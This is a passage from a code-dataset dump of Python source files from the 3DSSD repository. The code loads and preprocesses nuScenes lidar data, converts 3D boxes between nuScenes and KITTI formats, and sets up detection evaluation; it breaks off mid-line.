"Python", "length_bytes": 3983, "license_type": "permissive", "max_line_length": 123, "num_lines": 109, "path": "/lib/dataset/dataloader/nuscenes_utils.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import sys, os\nimport numpy as np\nimport itertools\nimport pickle\n\nfrom pyquaternion import Quaternion\nfrom nuscenes.utils.data_classes import LidarPointCloud, RadarPointCloud, Box\n\n# Casting label format from NuScenes Format to KITTI format\ndef cast_points_to_kitti(points):\n \"\"\"\n cast points label to kitti format\n points: [-1, n]\n \"\"\"\n points_xyz = points[:, :3]\n # cast points_xyz to kitti format\n points_xyz = points_xyz[:, [0, 2, 1]] # lhw\n points_xyz[:, 1] = -points_xyz[:, 1]\n points[:, :3] = points_xyz\n return points\n\ndef cast_box_3d_to_kitti_format(cur_boxes):\n \"\"\"\n box_3d: [-1, 7], cast box_3d to kitti_format\n \"\"\"\n # then cast boxes and velocity to kitti format\n cur_boxes_size = cur_boxes[:, 3:-1]\n cur_boxes_size = cur_boxes_size[:, [1, 2, 0]]\n cur_boxes_center = cur_boxes[:, :3]\n cur_boxes_center = cur_boxes_center[:, [0, 2, 1]] # lhw\n cur_boxes_center[:, 1] = -cur_boxes_center[:, 1]\n cur_boxes_center[:, 1] += cur_boxes_size[:, 1] / 2.\n cur_boxes = np.concatenate([cur_boxes_center, cur_boxes_size, cur_boxes[:, -1][:, np.newaxis]], axis=-1)\n return cur_boxes\n\n\n# Casting prediction format from KITTI Format to NuScenes format\ndef cast_kitti_format_to_nusc_box_3d(cur_boxes, cur_score, cur_class, cur_attribute=None, cur_velocity=None, classes=None):\n \"\"\"\n cur_boxes: [-1, 7], kitti format box\n cur_score: [-1]\n cur_class: [-1]\n cur_velocity: [-1, 3]\n \"\"\"\n cur_boxes_ctr = cur_boxes[:, :3]\n cur_boxes_size = cur_boxes[:, 3:-1]\n cur_boxes_angle = cur_boxes[:, -1]\n\n cur_boxes_ctr[:, 1] -= cur_boxes_size[:, 1] / 2.\n cur_boxes_ctr[:, 1] = -cur_boxes_ctr[:, 1] # l, h, w\n cur_boxes_ctr = cur_boxes_ctr[:, [0, 2, 1]] # lwh\n\n # from lhw to wlh\n cur_boxes_size = cur_boxes_size[:, [2, 0, 1]]\n\n # finally cast angle\n cur_boxes_angle = -cur_boxes_angle\n\n box_list = []\n for i in range(cur_boxes.shape[0]):\n quat = Quaternion(axis=[0, 0, 1], radians=cur_boxes_angle[i])\n if cur_velocity is not None:\n velocity = (*cur_velocity[i, :], 0.0)\n else:\n velocity = (np.nan, np.nan, np.nan)\n if cur_attribute is not None:\n attribute = cur_attribute[i] # 8\n cur_class_name = classes[cur_class[i]]\n if cur_class_name in ['car', 'truck', 'bus', 'trailer', 'construction_vehicle']:\n attribute = np.argmax(attribute[:3])\n elif cur_class_name in ['pedestrian']:\n attribute = np.argmax(attribute[5:])\n elif cur_class_name in ['motorcycle', 'bicycle']:\n attribute = np.argmax(attribute[3:5])\n elif cur_class_name in ['traffic_cone', 'barrier']:\n attribute = -1\n else:\n attribute = -1\n box = Box(\n cur_boxes_ctr[i],\n cur_boxes_size[i],\n quat,\n label=cur_class[i],\n score=cur_score[i],\n velocity=velocity,\n name=attribute,\n )\n box_list.append(box)\n return box_list\n\ndef _lidar_nusc_box_to_global(info, boxes, classes, eval_version=\"cvpr_2019\"):\n import pyquaternion\n box_list = []\n for box in boxes:\n # Move box to ego vehicle coord system\n box.rotate(pyquaternion.Quaternion(info['lidar2ego_rotation']))\n box.translate(np.array(info['lidar2ego_translation']))\n from nuscenes.eval.detection.config import eval_detection_configs\n # filter det in ego.\n cls_range_map = eval_detection_configs[eval_version][\"class_range\"]\n radius = np.linalg.norm(box.center[:2], 2)\n det_range = cls_range_map[classes[box.label]]\n if radius > det_range:\n continue\n # Move box to global coord system\n box.rotate(pyquaternion.Quaternion(info['ego2global_rotation']))\n box.translate(np.array(info['ego2global_translation']))\n box_list.append(box)\n return box_list\n" }, { "alpha_fraction": 0.5568225383758545, "alphanum_fraction": 0.5674554705619812, "avg_line_length": 50.00151062011719, "blob_id": "7bfb6b6f122dcd42d6471927a9e16f870824ddd1", "content_id": "b6685762ed07204eabef8bf125b906cbc3d01582", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 33763, "license_type": "permissive", "max_line_length": 263, "num_lines": 662, "path": "/lib/dataset/dataloader/nuscenes_dataloader.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport sys, os\nimport numpy as np\nimport cv2\nimport itertools\nimport pickle\nimport time\nimport json\nimport subprocess\nimport tqdm\n\nfrom core.config import cfg\nimport utils.kitti_aug as kitti_aug\nimport utils.box_3d_utils as box_3d_utils\nimport dataset.maps_dict as maps_dict\n\nfrom dataset.dataloader.nuscenes_utils import * \nfrom dataset.dataloader.nuscenes_split import *\nfrom utils.voxelnet_aug import check_inside_points\nfrom utils.anchor_encoder import encode_angle2class_np\nfrom builder.voxel_generator.voxel_generator import VoxelGenerator\nfrom builder.data_augmentor import DataAugmentor\nfrom nuscenes.nuscenes import NuScenes\nfrom nuscenes.utils.data_classes import LidarPointCloud, RadarPointCloud, Box\nfrom pyquaternion import Quaternion\nfrom dataset.data_provider.data_provider import DataFromList, MultiProcessMapData, BatchDataNuscenes\nfrom dataset.dataloader.dataloader import Dataset\n\nclass NuScenesDataset(Dataset):\n \"\"\"\n NuScenes dataset loader and producer\n \"\"\"\n def __init__(self, mode, split='training', img_list='trainval', is_training=True, workers_num=1):\n \"\"\"\n mode: 'loading', 'preprocessing'\n \"\"\"\n self.mode = mode\n self.dataset_dir = os.path.join(cfg.ROOT_DIR, cfg.DATASET.KITTI.BASE_DIR_PATH)\n self.max_sweeps = cfg.DATASET.NUSCENES.NSWEEPS\n self.is_training = is_training\n self.img_list = img_list\n self.workers_num = workers_num\n\n # cast labels from NuScenes name to useful name\n self.useful_cls_dict = {'animal': 'ignore',\n 'human.pedestrian.personal_mobility': 'ignore',\n 'human.pedestrian.stroller': 'ignore',\n 'human.pedestrian.wheelchair': 'ignore',\n 'movable_object.debris': 'ignore',\n 'movable_object.pushable_pullable': 'ignore',\n 'static_object.bicycle_rack': 'ignore',\n 'vehicle.emergency.ambulance': 'ignore',\n 'vehicle.emergency.police': 'ignore',\n 'movable_object.barrier': 'barrier',\n 'vehicle.bicycle': 'bicycle',\n 'vehicle.bus.bendy': 'bus',\n 'vehicle.bus.rigid': 'bus',\n 'vehicle.car': 'car',\n 'vehicle.construction': 'construction_vehicle',\n 'vehicle.motorcycle': 'motorcycle',\n 'human.pedestrian.adult': 'pedestrian',\n 'human.pedestrian.child': 'pedestrian',\n 'human.pedestrian.construction_worker': 'pedestrian',\n 'human.pedestrian.police_officer': 'pedestrian',\n 'movable_object.trafficcone': 'traffic_cone',\n 'vehicle.trailer': 'trailer',\n 'vehicle.truck': 'truck'}\n # cast attribute to index\n self.attribute_idx_list = {'vehicle.moving': 0,\n 'vehicle.stopped': 1,\n 'vehicle.parked': 2,\n 'cycle.with_rider': 3,\n 'cycle.without_rider': 4,\n 'pedestrian.sitting_lying_down': 5,\n 'pedestrian.standing': 6,\n 'pedestrian.moving': 7,\n 'default': -1,\n }\n self.idx_attribute_list = dict([(v, k) for k, v in self.attribute_idx_list.items()])\n self.AttributeIdxLabelMapping = {\n \"car\": ['vehicle.moving', 'vehicle.stopped', 'vehicle.parked'],\n \"truck\": ['vehicle.moving', 'vehicle.stopped', 'vehicle.parked'],\n \"bus\": ['vehicle.moving', 'vehicle.stopped', 'vehicle.parked'],\n \"trailer\": ['vehicle.moving', 'vehicle.stopped', 'vehicle.parked'],\n \"construction_vehicle\": ['vehicle.moving', 'vehicle.stopped', 'vehicle.parked'],\n \"pedestrian\": ['pedestrian.sitting_lying_down', 'pedestrian.standing', 'pedestrian.moving'],\n \"motorcycle\": ['cycle.with_rider', 'cycle.without_rider', ''],\n \"bicycle\": ['cycle.with_rider', 'cycle.without_rider', ''],\n \"traffic_cone\": ['', '', ''],\n \"barrier\": ['', '', ''],\n }\n\n self.DefaultAttribute = {\n \"car\": \"vehicle.parked\",\n \"pedestrian\": \"pedestrian.moving\",\n \"trailer\": \"vehicle.parked\",\n \"truck\": \"vehicle.parked\",\n \"bus\": \"vehicle.parked\",\n \"motorcycle\": \"cycle.without_rider\",\n \"construction_vehicle\": \"vehicle.parked\",\n \"bicycle\": \"cycle.without_rider\",\n \"barrier\": \"\",\n \"traffic_cone\": \"\",\n }\n\n self.cls_list = cfg.DATASET.KITTI.CLS_LIST\n self.idx2cls_dict = dict([(idx+1, cls) for idx, cls in enumerate(self.cls_list)])\n self.cls2idx_dict = dict([(cls, idx+1) for idx, cls in enumerate(self.cls_list)])\n\n self.sv_npy_path = os.path.join(cfg.ROOT_DIR, cfg.DATASET.KITTI.SAVE_NUMPY_PATH, 'NuScenes', '{}_{}'.format(img_list, self.max_sweeps))\n self.train_list = os.path.join(self.sv_npy_path, 'infos.pkl')\n\n self.voxel_generator = VoxelGenerator()\n\n self.test_mode = cfg.TEST.TEST_MODE\n if self.test_mode == 'mAP':\n self.evaluation = self.evaluate_map\n self.logger_and_select_best = self.logger_and_select_best_map\n elif self.test_mode == 'Recall':\n self.evaluation = self.evaluate_recall\n self.logger_and_select_best = self.logger_and_select_best_recall\n else: raise Exception('No other evaluation mode.') \n\n if mode == 'loading':\n # data loader\n with open(self.train_list, 'rb') as f:\n self.train_npy_list = pickle.load(f)\n self.sample_num = len(self.train_npy_list)\n if self.is_training:\n self.data_augmentor = DataAugmentor('NuScenes', workers_num=self.workers_num)\n\n elif mode == 'preprocessing':\n # preprocess raw data\n if img_list == 'train':\n self.nusc = NuScenes(dataroot=self.dataset_dir, version='v1.0-trainval')\n self.scenes = [scene for scene in self.nusc.scene if scene['name'] in train_scene]\n elif img_list == 'val':\n self.nusc = NuScenes(dataroot=self.dataset_dir, version='v1.0-trainval')\n self.scenes = [scene for scene in self.nusc.scene if scene['name'] in val_scene]\n else: # test\n self.nusc = NuScenes(dataroot=self.dataset_dir, version='v1.0-test')\n self.scenes = self.nusc.scene\n\n self.sample_data_token_list = OrderedDict()\n sample_num = 0\n for scene in self.scenes:\n # static the sample num, and save all sample_data_token\n self.sample_data_token_list[scene['token']] = []\n all_sample = self.nusc.field2token('sample', 'scene_token', scene['token'])\n sample_num += len(all_sample)\n for sample in all_sample: # all sample token\n sample = self.nusc.get('sample', sample)\n cur_token = sample['token']\n cur_data_token = sample['data']['LIDAR_TOP']\n self.sample_data_token_list[scene['token']].append(cur_data_token)\n\n self.sample_num = sample_num\n\n self.extents = cfg.DATASET.POINT_CLOUD_RANGE\n self.extents = np.reshape(self.extents, [3, 2])\n if not os.path.exists(self.sv_npy_path): os.makedirs(self.sv_npy_path)\n\n # also calculate the mean size here\n self.cls_size_dict = dict([(cls, np.array([0, 0, 0], dtype=np.float32)) for cls in self.cls_list])\n self.cls_num_dict = dict([(cls, 0) for cls in self.cls_list])\n\n # the save path for MixupDB\n if self.img_list in ['train', 'val', 'trainval'] and cfg.TEST.WITH_GT and cfg.TRAIN.AUGMENTATIONS.MIXUP.OPEN:\n self.mixup_db_cls_path = dict()\n self.mixup_db_trainlist_path = dict()\n self.mixup_db_class = cfg.TRAIN.AUGMENTATIONS.MIXUP.CLASS\n for cls in self.mixup_db_class:\n mixup_db_cls_path = os.path.join(cfg.ROOT_DIR, cfg.DATASET.KITTI.SAVE_NUMPY_PATH, cfg.TRAIN.AUGMENTATIONS.MIXUP.SAVE_NUMPY_PATH, cfg.TRAIN.AUGMENTATIONS.MIXUP.PC_LIST, '{}'.format(cls))\n mixup_db_trainlist_path = os.path.join(mixup_db_cls_path, 'train_list.txt')\n if not os.path.exists(mixup_db_cls_path): os.makedirs(mixup_db_cls_path)\n self.mixup_db_cls_path[cls] = mixup_db_cls_path\n self.mixup_db_trainlist_path[cls] = mixup_db_trainlist_path\n\n def __len__(self):\n return self.sample_num\n\n def load_samples(self, sample_idx, pipename):\n \"\"\" load data per thread \"\"\"\n pipename = int(pipename)\n biggest_label_num = 0\n sample_dict = self.train_npy_list[sample_idx] \n\n points_path = sample_dict[maps_dict.KEY_POINT_CLOUD]\n sweeps = sample_dict[maps_dict.KEY_SWEEPS]\n sample_name = sample_dict[maps_dict.KEY_SAMPLE_NAME]\n cur_transformation_matrix = sample_dict[maps_dict.KEY_TRANSFORMRATION_MATRIX]\n ts = sample_dict[maps_dict.KEY_TIMESTAMPS] / 1e6\n\n # then first read points and stack points from multiple frame\n points = np.fromfile(points_path, dtype=np.float32)\n points = points.reshape((-1, 5))\n points = cast_points_to_kitti(points)\n points[:, 3] /= 255\n points[:, 4] = 0\n sweep_points_list = [points]\n original_cur_sweep_points = points\n cur_sweep_points_num = points.shape[0]\n for sweep in sweeps:\n points_sweep = np.fromfile(sweep['lidar_path'], dtype=np.float32)\n points_sweep = points_sweep.reshape((-1, 5))\n sweep_ts = sweep['timestamp'] / 1e6\n points_sweep[:, 3] /= 255\n points_sweep[:, :3] = points_sweep[:, :3] @ sweep['sweep2lidar_rotation'].T\n points_sweep[:, :3] += sweep['sweep2lidar_translation']\n points_sweep[:, 4] = ts - sweep_ts\n points_sweep = cast_points_to_kitti(points_sweep)\n sweep_points_list.append(points_sweep)\n if cfg.DATASET.NUSCENES.INPUT_FEATURE_CHANNEL == 4:\n points = np.concatenate(sweep_points_list, axis=0)[:, [0, 1, 2, 4]]\n else:\n points = np.concatenate(sweep_points_list, axis=0)\n\n # then read groundtruth file if have\n if self.is_training or cfg.TEST.WITH_GT:\n label_boxes_3d = sample_dict[maps_dict.KEY_LABEL_BOXES_3D]\n label_boxes_3d = cast_box_3d_to_kitti_format(label_boxes_3d)\n\n label_classes_name = sample_dict[maps_dict.KEY_LABEL_CLASSES]\n label_classes = np.array([self.cls2idx_dict[label_class] for label_class in label_classes_name])\n\n label_attributes = sample_dict[maps_dict.KEY_LABEL_ATTRIBUTES]\n label_velocity = sample_dict[maps_dict.KEY_LABEL_VELOCITY] # [-1, 2]\n\n ry_cls_label, residual_angle = encode_angle2class_np(label_boxes_3d[:, -1], cfg.MODEL.ANGLE_CLS_NUM)\n else: # not is_training and no_gt\n label_boxes_3d = np.zeros([1, 7], np.float32)\n label_classes = np.zeros([1], np.int32)\n label_attributes = np.zeros([1], np.int32)\n label_velocity = np.zeros([1, 2], np.float32)\n ry_cls_label = np.zeros([1], np.int32)\n residual_angle = np.zeros([1], np.float32)\n\n if self.is_training: # data augmentation\n points, label_boxes_3d, label_classes, label_attributes, label_velocity, cur_sweep_points_num = self.data_augmentor.nuscenes_forward(points, label_boxes_3d, label_classes, pipename, label_attributes, label_velocity, cur_sweep_points_num) \n ry_cls_label, residual_angle = encode_angle2class_np(label_boxes_3d[:, -1], cfg.MODEL.ANGLE_CLS_NUM)\n cur_label_num = len(label_boxes_3d)\n\n # then randomly choose some points\n cur_sweep_points = points[:cur_sweep_points_num, :] # [-1, 4]\n other_sweep_points = points[cur_sweep_points_num:, :] # [-1, 4]\n if len(other_sweep_points) == 0: other_sweep_points = cur_sweep_points.copy()\n np.random.shuffle(cur_sweep_points)\n np.random.shuffle(other_sweep_points)\n\n input_sample_points, num_points_per_voxel = self.voxel_generator.generate_nusc(cur_sweep_points, other_sweep_points, cfg.DATASET.NUSCENE.MAX_CUR_SAMPLE_POINTS_NUM) # points, [num_voxels, num_points, 5], sem_labels, [num_voxels, num_points]\n cur_sample_points = input_sample_points[:cfg.DATASET.NUSCENE.MAX_CUR_SAMPLE_POINTS_NUM]\n other_sample_points = input_sample_points[cfg.DATASET.NUSCENE.MAX_CUR_SAMPLE_POINTS_NUM:]\n\n biggest_label_num = max(biggest_label_num, cur_label_num)\n return biggest_label_num, input_sample_points, cur_sample_points, other_sample_points, label_boxes_3d, ry_cls_label, residual_angle, label_classes, label_attributes, label_velocity, sample_name, cur_transformation_matrix, sweeps, original_cur_sweep_points\n \n\n def load_batch(self, batch_size):\n perm = np.arange(self.sample_num).tolist() # a list indicates each data\n dp = DataFromList(perm, is_train=self.is_training, shuffle=self.is_training)\n dp = MultiProcessMapData(dp, self.load_samples, self.workers_num)\n\n use_list = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1]\n use_concat = [0, 0, 0, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0]\n\n dp = BatchDataNuscenes(dp, batch_size, use_concat=use_concat, use_list=use_list)\n dp.reset_state()\n dp = dp.get_data()\n return dp\n\n \n # Preprocess data\n def preprocess_samples(self, cur_scene_key, sample_data_token):\n sample_dicts = []\n biggest_label_num = 0\n\n cur_sample_data = self.nusc.get('sample_data', sample_data_token)\n cur_sample_token = cur_sample_data['sample_token']\n cur_sample = self.nusc.get('sample', cur_sample_token)\n\n ego_pose = self.nusc.get('ego_pose', cur_sample_data['ego_pose_token'])\n calibrated_sensor = self.nusc.get('calibrated_sensor', cur_sample_data['calibrated_sensor_token'])\n\n l2e_r = calibrated_sensor['rotation']\n l2e_t = calibrated_sensor['translation']\n e2g_r = ego_pose['rotation']\n e2g_t = ego_pose['translation']\n l2e_r_mat = Quaternion(l2e_r).rotation_matrix\n e2g_r_mat = Quaternion(e2g_r).rotation_matrix\n cur_timestamp = cur_sample['timestamp']\n\n cur_transformation_matrix = {\n 'lidar2ego_translation': l2e_t,\n 'lidar2ego_rotation': l2e_r,\n 'ego2global_translation': e2g_t,\n 'ego2global_rotation': e2g_r,\n }\n\n # get point cloud in former 0.5 second\n sweeps = []\n while len(sweeps) < self.max_sweeps:\n if not cur_sample_data['prev'] == '':\n # has next frame\n cur_sample_data = self.nusc.get('sample_data', cur_sample_data['prev'])\n cur_ego_pose = self.nusc.get('ego_pose', cur_sample_data['ego_pose_token'])\n cur_calibrated_sensor = self.nusc.get('calibrated_sensor', cur_sample_data['calibrated_sensor_token'])\n cur_lidar_path, cur_sweep_boxes, _ = self.nusc.get_sample_data(cur_sample_data['token'])\n sweep = {\n \"lidar_path\": cur_lidar_path,\n \"sample_data_token\": cur_sample_data['token'],\n \"lidar2ego_translation\": cur_calibrated_sensor['translation'],\n \"lidar2ego_rotation\": cur_calibrated_sensor['rotation'],\n \"ego2global_translation\": cur_ego_pose['translation'],\n \"ego2global_rotation\": cur_ego_pose['rotation'],\n \"timestamp\": cur_sample_data[\"timestamp\"]\n }\n l2e_r_s = sweep[\"lidar2ego_rotation\"]\n l2e_t_s = sweep[\"lidar2ego_translation\"]\n e2g_r_s = sweep[\"ego2global_rotation\"]\n e2g_t_s = sweep[\"ego2global_translation\"]\n # sweep->ego->global->ego'->lidar\n l2e_r_s_mat = Quaternion(l2e_r_s).rotation_matrix\n e2g_r_s_mat = Quaternion(e2g_r_s).rotation_matrix\n\n R = (l2e_r_s_mat.T @ e2g_r_s_mat.T) @ (\n np.linalg.inv(e2g_r_mat).T @ np.linalg.inv(l2e_r_mat).T)\n T = (l2e_t_s @ e2g_r_s_mat.T + e2g_t_s) @ (\n np.linalg.inv(e2g_r_mat).T @ np.linalg.inv(l2e_r_mat).T)\n T -= e2g_t @ (np.linalg.inv(e2g_r_mat).T @ np.linalg.inv(\n l2e_r_mat).T) + l2e_t @ np.linalg.inv(l2e_r_mat).T\n\n sweep[\"sweep2lidar_rotation\"] = R.T # points @ R.T + T\n sweep[\"sweep2lidar_translation\"] = T\n sweeps.append(sweep)\n else: # prev is none\n break\n\n # then load gt_boxes_3d\n if self.img_list in ['train', 'val'] and cfg.TEST.WITH_GT:\n cur_data_path, all_boxes, _ = self.nusc.get_sample_data(sample_data_token)\n\n # then first parse boxes labels\n locs = np.array([box.center for box in all_boxes]).reshape(-1, 3)\n sizes = np.array([box.wlh for box in all_boxes]).reshape(-1, 3)\n rots = np.array([box.orientation.yaw_pitch_roll[0]\n for box in all_boxes]).reshape(-1, 1)\n all_boxes_3d = np.concatenate([locs, sizes, -rots], axis=-1)\n\n annos_tokens = cur_sample['anns']\n all_velocity = np.array([self.nusc.box_velocity(ann_token)[:2] for ann_token in annos_tokens]) # [-1, 2]\n for i in range(len(all_boxes)):\n velo = np.array([*all_velocity[i], 0.0])\n velo = velo @ np.linalg.inv(e2g_r_mat).T @ np.linalg.inv(l2e_r_mat).T\n all_velocity[i] = velo[:2] # [-1, 2]\n\n attribute_tokens = [self.nusc.get('sample_annotation', ann_token)['attribute_tokens'] for ann_token in annos_tokens]\n all_attribute = []\n for attribute_token in attribute_tokens:\n if len(attribute_token) == 0:\n all_attribute.append([])\n else:\n all_attribute.append(self.nusc.get('attribute', attribute_token[0])['name'])\n # then filter these ignore labels\n categories = np.array([box.name for box in all_boxes])\n if self.img_list == 'train':\n useful_idx = [index for index, category in enumerate(categories) if self.useful_cls_dict[category] != 'ignore']\n else:\n useful_idx = [index for index, category in enumerate(categories)]\n if len(useful_idx) == 0:\n if self.img_list == 'train':\n return None, biggest_label_num\n else:\n all_boxes_3d = np.ones([1, 7], dtype=np.float32)\n all_boxes_classes = np.array(['ignore'])\n all_attribute = np.array([-1])\n all_velocity = np.array([[0, 0]], dtype=np.float32)\n else:\n all_boxes_3d = all_boxes_3d[useful_idx]\n\n categories = categories[useful_idx]\n all_boxes_classes = np.array([self.useful_cls_dict[cate] for cate in categories])\n # now calculate the mean size of each box\n for tmp_idx, all_boxes_class in enumerate(all_boxes_classes):\n cur_mean_size = self.cls_size_dict[all_boxes_class] * self.cls_num_dict[all_boxes_class]\n cur_cls_num = self.cls_num_dict[all_boxes_class] + 1\n cur_total_size = cur_mean_size + all_boxes_3d[tmp_idx, [4, 5, 3]] # [l, w, h]\n cur_mean_size = cur_total_size / cur_cls_num\n self.cls_size_dict[all_boxes_class] = cur_mean_size\n self.cls_num_dict[all_boxes_class] = cur_cls_num\n\n all_attribute = [all_attribute[tmp_idx] for tmp_idx in useful_idx]\n tmp_attribute = []\n for attr in all_attribute:\n if attr == []:tmp_attribute.append(-1)\n else:\n tmp_attribute.append(self.attribute_idx_list[attr])\n all_attribute = tmp_attribute\n all_attribute = np.array(all_attribute, dtype=np.int32)\n all_velocity = [all_velocity[tmp_idx] for tmp_idx in useful_idx]\n all_velocity = np.array(all_velocity, dtype=np.float32)\n else:\n cur_data_path = self.nusc.get_sample_data_path(sample_data_token)\n\n # then generate the bev_maps\n if self.img_list in ['train', 'val', 'trainval'] and cfg.TEST.WITH_GT:\n sample_dict = {\n maps_dict.KEY_LABEL_BOXES_3D: all_boxes_3d,\n maps_dict.KEY_LABEL_CLASSES: all_boxes_classes,\n maps_dict.KEY_LABEL_ATTRIBUTES: all_attribute,\n maps_dict.KEY_LABEL_VELOCITY: all_velocity,\n maps_dict.KEY_LABEL_NUM: len(all_boxes_3d),\n\n maps_dict.KEY_POINT_CLOUD: cur_data_path,\n maps_dict.KEY_TRANSFORMRATION_MATRIX: cur_transformation_matrix, \n maps_dict.KEY_SAMPLE_NAME: '{}/{}/{}'.format(cur_scene_key, cur_sample_token, sample_data_token),\n maps_dict.KEY_SWEEPS: sweeps,\n maps_dict.KEY_TIMESTAMPS: cur_timestamp,\n }\n biggest_label_num = max(len(all_boxes_3d), biggest_label_num)\n else:\n # img_list is test\n sample_dict = {\n maps_dict.KEY_POINT_CLOUD: cur_data_path,\n maps_dict.KEY_SAMPLE_NAME: '{}/{}/{}'.format(cur_scene_key, cur_sample_token, sample_data_token),\n maps_dict.KEY_TRANSFORMRATION_MATRIX: cur_transformation_matrix, \n maps_dict.KEY_SWEEPS: sweeps,\n maps_dict.KEY_TIMESTAMPS: cur_timestamp,\n }\n return sample_dict, biggest_label_num\n\n def preprocess_batch(self):\n # if create_gt_dataset, then also create a boxes_numpy, saving all points\n if cfg.TRAIN.AUGMENTATIONS.MIXUP.OPEN: # also save mixup database\n mixup_label_dict = dict([(cls, []) for cls in self.mixup_db_class])\n\n sample_dicts_list = []\n for scene_key, v in tqdm.tqdm(self.sample_data_token_list.items()):\n for sample_data_token in v:\n sample_dict, tmp_biggest_label_num = self.preprocess_samples(scene_key, sample_data_token)\n if sample_dict is None:\n continue\n # else save the result\n sample_dicts_list.append(sample_dict)\n\n # create_gt_dataset\n if self.img_list in ['train', 'val', 'trainval'] and cfg.TEST.WITH_GT and cfg.TRAIN.AUGMENTATIONS.MIXUP.OPEN:\n mixup_sample_dicts = self.generate_mixup_sample(sample_dict)\n if mixup_sample_dicts is None: continue\n for mixup_sample_dict in mixup_sample_dicts:\n cur_cls = mixup_sample_dict[maps_dict.KEY_SAMPLED_GT_CLSES]\n mixup_label_dict[cur_cls].append(mixup_sample_dict)\n\n # save preprocessed data\n with open(self.train_list, 'wb') as f:\n pickle.dump(sample_dicts_list, f)\n for k, v in self.cls_num_dict.items():\n print('class name: %s / class num: %d / mean size: (%f, %f, %f)' % (k, v, self.cls_size_dict[k][0], self.cls_size_dict[k][1], self.cls_size_dict[k][2])) # [l, w, h]\n\n if self.img_list in ['train', 'val', 'trainval'] and cfg.TEST.WITH_GT and cfg.TRAIN.AUGMENTATIONS.MIXUP.OPEN:\n print('**** Generating groundtruth database ****')\n for cur_cls_name, mixup_sample_dict in mixup_label_dict.items():\n cur_mixup_db_cls_path = self.mixup_db_cls_path[cur_cls_name]\n cur_mixup_db_trainlist_path= self.mixup_db_trainlist_path[cur_cls_name]\n print('**** Class %s ****'%cur_cls_name)\n with open(cur_mixup_db_trainlist_path, 'w') as f:\n for tmp_idx, tmp_cur_mixup_sample_dict in tqdm.tqdm(enumerate(mixup_sample_dict)):\n f.write('%06d.npy\\n'%tmp_idx)\n np.save(os.path.join(cur_mixup_db_cls_path, '%06d.npy'%tmp_idx), tmp_cur_mixup_sample_dict)\n print('Ending of the preprocess !!!')\n\n\n def generate_mixup_sample(self, sample_dict):\n \"\"\" This function is bound for generating mixup dataset \"\"\"\n all_boxes_3d = sample_dict[maps_dict.KEY_LABEL_BOXES_3D]\n all_boxes_classes = sample_dict[maps_dict.KEY_LABEL_CLASSES]\n point_cloud_path = sample_dict[maps_dict.KEY_POINT_CLOUD]\n\n # then we first cast all_boxes_3d to kitti format\n all_boxes_3d = cast_box_3d_to_kitti_format(all_boxes_3d)\n\n # load points\n points = np.fromfile(point_cloud_path, dtype=np.float32).reshape((-1, 5))\n points = cast_points_to_kitti(points)\n points[:, 3] /= 255\n points[:, 4] = 0 # timestamp is zero\n \n points_mask = check_inside_points(points, all_boxes_3d) # [pts_num, gt_num]\n points_masks_num = np.sum(points_masks, axis=0) # [gt_num]\n valid_box_idx = np.where(points_masks_num >= cfg.DATASET.MIN_POINTS_NUM)[0]\n\n if len(valid_box_idx) == 0:\n return None\n \n valid_label_boxes_3d = all_boxes_3d[valid_box_idx]\n valid_label_classes = all_boxes_classes[valid_box_idx]\n\n sample_dicts = []\n for index, i in enumerate(valid_box_idx):\n cur_points_mask = points_mask[:, i]\n cur_points_idx = np.where(cur_points_mask)[0]\n cur_inside_points = points[cur_points_idx, :]\n sample_dict = {\n # 0 timestamp and /255 reflectance\n maps_dict.KEY_SAMPLED_GT_POINTS: cur_inside_points, # kitti format points\n maps_dict.KEY_SAMPLED_GT_LABELS_3D: valid_label_boxes_3d[index],\n maps_dict.KEY_SAMPLED_GT_CLSES: valid_label_classes[index],\n }\n sample_dicts.append(sample_dict)\n return sample_dicts\n\n # Evaluation\n def set_evaluation_tensor(self, model):\n # get prediction results, bs = 1\n pred_bbox_3d = tf.squeeze(model.output[maps_dict.PRED_3D_BBOX][-1], axis=0)\n pred_cls_score = tf.squeeze(model.output[maps_dict.PRED_3D_SCORE][-1], axis=0)\n pred_cls_category = tf.squeeze(model.output[maps_dict.PRED_3D_CLS_CATEGORY][-1], axis=0)\n pred_list = [pred_bbox_3d, pred_cls_score, pred_cls_category]\n\n if len(model.output[maps_dict.PRED_3D_ATTRIBUTE]) > 0:\n pred_attribute = tf.squeeze(model.output[maps_dict.PRED_3D_ATTRIBUTE][-1], axis=0)\n pred_velocity = tf.squeeze(model.output[maps_dict.PRED_3D_VELOCITY][-1], axis=0)\n pred_list.extend([pred_attribute, pred_velocity])\n return pred_list\n\n def evaluate_map(self, sess, feeddict_producer, pred_list, val_size, cls_thresh, log_dir, placeholders=None):\n submissions = {}\n submissions['meta'] = dict()\n submissions['meta']['use_camera'] = False\n submissions['meta']['use_lidar'] = True\n submissions['meta']['use_radar'] = False\n submissions['meta']['use_map'] = False\n submissions['meta']['use_external'] = False\n\n submissions_results = dict()\n pred_attr_velo = (len(pred_list) == 5)\n\n for i in tqdm.tqdm(range(val_size)):\n feed_dict = feeddict_producer.create_feed_dict()\n\n if pred_attr_velo:\n pred_bbox_3d_op, pred_cls_score_op, pred_cls_category_op, pred_attr_op, pred_velo_op = sess.run(pred_list, feed_dict=feed_dict) \n else:\n pred_bbox_3d_op, pred_cls_score_op, pred_cls_category_op = sess.run(pred_list, feed_dict=feed_dict)\n pred_cls_category_op += 1 # label from 1 to n\n \n sample_name, cur_transformation_matrix, sweeps = feeddict_producer.info\n sample_name = sample_name[0]\n cur_transformation_matrix = cur_transformation_matrix[0]\n sweeps = sweeps[0] \n cur_scene_key, cur_sample_token, cur_sample_data_token = sample_name.split('/')\n\n select_idx = np.where(pred_cls_score_op >= cls_thresh)[0]\n pred_cls_score_op = pred_cls_score_op[select_idx]\n pred_cls_category_op = pred_cls_category_op[select_idx]\n pred_bbox_3d_op = pred_bbox_3d_op[select_idx]\n if pred_attr_velo:\n pred_attr_op = pred_attr_op[select_idx]\n pred_velo_op = pred_velo_op[select_idx]\n else: pred_attr_op, pred_velo_op = None, None\n\n if len(pred_bbox_3d_op) > 500:\n arg_sort_idx = np.argsort(pred_cls_score_op)[::-1]\n arg_sort_idx = arg_sort_idx[:500]\n pred_cls_score_op = pred_cls_score_op[arg_sort_idx]\n pred_cls_category_op = 